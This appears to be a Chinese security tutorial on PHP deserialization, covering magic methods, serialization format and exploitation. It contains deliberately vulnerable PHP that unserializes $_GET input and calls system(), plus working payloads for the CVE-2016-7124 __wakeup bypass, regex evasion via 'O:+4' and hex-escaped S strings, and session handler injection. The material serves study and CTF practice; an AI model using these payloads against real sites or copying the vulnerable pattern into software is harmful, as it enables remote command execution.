php反序列化总结(持续更新)

序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字

魔术方法

  • __construct()
    具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
  • __destruct()
    析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
    new出一个新的对象时就会调用__construct(),而对象被销毁时,例如程序退出时,就会调用__destruct()

__sleep()__wakeup()

图片

__toString()

图片

echo或者拼接字符串或者其他隐式调用该方法的操作都会触发

__set()__get()__isset()__unset()

图片

__invoke()__call()

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

在对象中调用一个不可访问方法时,__call() 会被调用

序列化细节

序列的含义

例如:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}

O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下

图片

public、protected、private下序列化对象的区别

php v7.x反序列化的时候对访问类别不敏感

  • public变量
    直接变量名反序列化出来
  • protected变量
    \x00 + * + \x00 + 变量名
    可以用S:5:"\00*\00op"来代替s:5:"?*?op"
  • private变量
    \x00 + 类名 + \x00 + 变量名

反序列化中s和S的区别

如果类型是S,会调用以下函数,简单来说就是将\解释成十六进制,来转成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
size_t i, j;
zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
unsigned char *end = *(unsigned char **)p+maxlen;

if (end < *p) {
zend_string_efree(str);
return NULL;
}

for (i = 0; i < len; i++) {
if (*p >= end) {
zend_string_efree(str);
return NULL;
}
if (**p != '\\') {
ZSTR_VAL(str)[i] = (char)**p;
} else {
unsigned char ch = 0;

for (j = 0; j < 2; j++) {
(*p)++;
if (**p >= '0' && **p <= '9') {
ch = (ch << 4) + (**p -'0');
} else if (**p >= 'a' && **p <= 'f') {
ch = (ch << 4) + (**p -'a'+10);
} else if (**p >= 'A' && **p <= 'F') {
ch = (ch << 4) + (**p -'A'+10);
} else {
zend_string_efree(str);
return NULL;
}
}
ZSTR_VAL(str)[i] = (char)ch;
}
(*p)++;
}
ZSTR_VAL(str)[i] = 0;
ZSTR_LEN(str) = i;
return str;
}

反序列化的利用

__wakeup()函数失效引发漏洞(CVE-2016-7124)

  • 介绍:
    调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,前会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行
    php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)
  • 测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php 
    class Test{
    public $cmd;
    function __wakeup(){
    $this->cmd = '';
    }
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }

    $test = $_GET['cmd'];
    $test_n = unserialize($test);
    ?>
    执行反序列化的时候,调用 __wakeup 方法会将 $cmd 参数置为空,在程序退出时执行 __destruct 方法时也就执行不了任何命令
  • 因此可以利用 CVE-2016-7124
    首先得到一个正常的序列化结果:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php 
    class Test{
    public $cmd;
    function __wakeup(){
    $this->cmd = '';
    }
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }
    $test = new Test();
    $test->cmd = "whoami";
    echo serialize($test);

    O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
    然后构造对象属性个数的值大于真实的属性个数的 payload:
    O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

传进去就能成功执行命令

__wakeup()函数失效引发漏洞(CVE-2016-7124)

使用+绕过正则

例:

1
2
3
preg_match('/[oc]:\d+:/i', $var)
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

Session序列化问题

PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

图片

  • session.serialize_handler=php(默认)
    只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 username|s:4:"test";
  • session.serialize_handler=php_serialize
    对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 a:1{s:8:"username";s:4:"test";}
  • session.serialize_handler=php_binary
    键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
    比如:传入数据 username=test,那么变成 session 后存储为 8 代表的 ascii 字符退格 usernames:4:"test";
    1
    2
    3
    4
    5
     <?php
    ini_set('session.serialize_handler', '处理方法');
    session_start();
    $_SESSION['username'] = 'test';
    ?>
    漏洞原理:
  • 反序列化存储的 $_SEESION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,便可以伪造任意数据
  • 例如:
    在存储 $_SEESION 时处理方法为 php_serialize,传输的数据为 username=|O:4:"test":0:{},则最后存储为 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}
    而在取用 $_SESSION 时的处理方法为 php,此时键:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那么反序列话后便构造出了一个 test 对象。
    参考文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

利用 16 进制绕过过滤

  • 原理:
    将示意字符串的s改为大写S时,其值会解析 16 进制数据
    例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
    可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}
  • 测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php 
    class Test{
    public $cmd;
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }
    function check($data){
    if(stristr($data, 'cmd')!==False){
    echo("1111!");
    }
    else{
    return $data;
    }
    }

    $test = $_GET['cmd'];
    $test = check($test);
    $test_n = unserialize($test);
    ?>
    当传入O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}时,可以发现无法绕过过滤函数
    修改为大写S时,可以看到成功 RCE

continue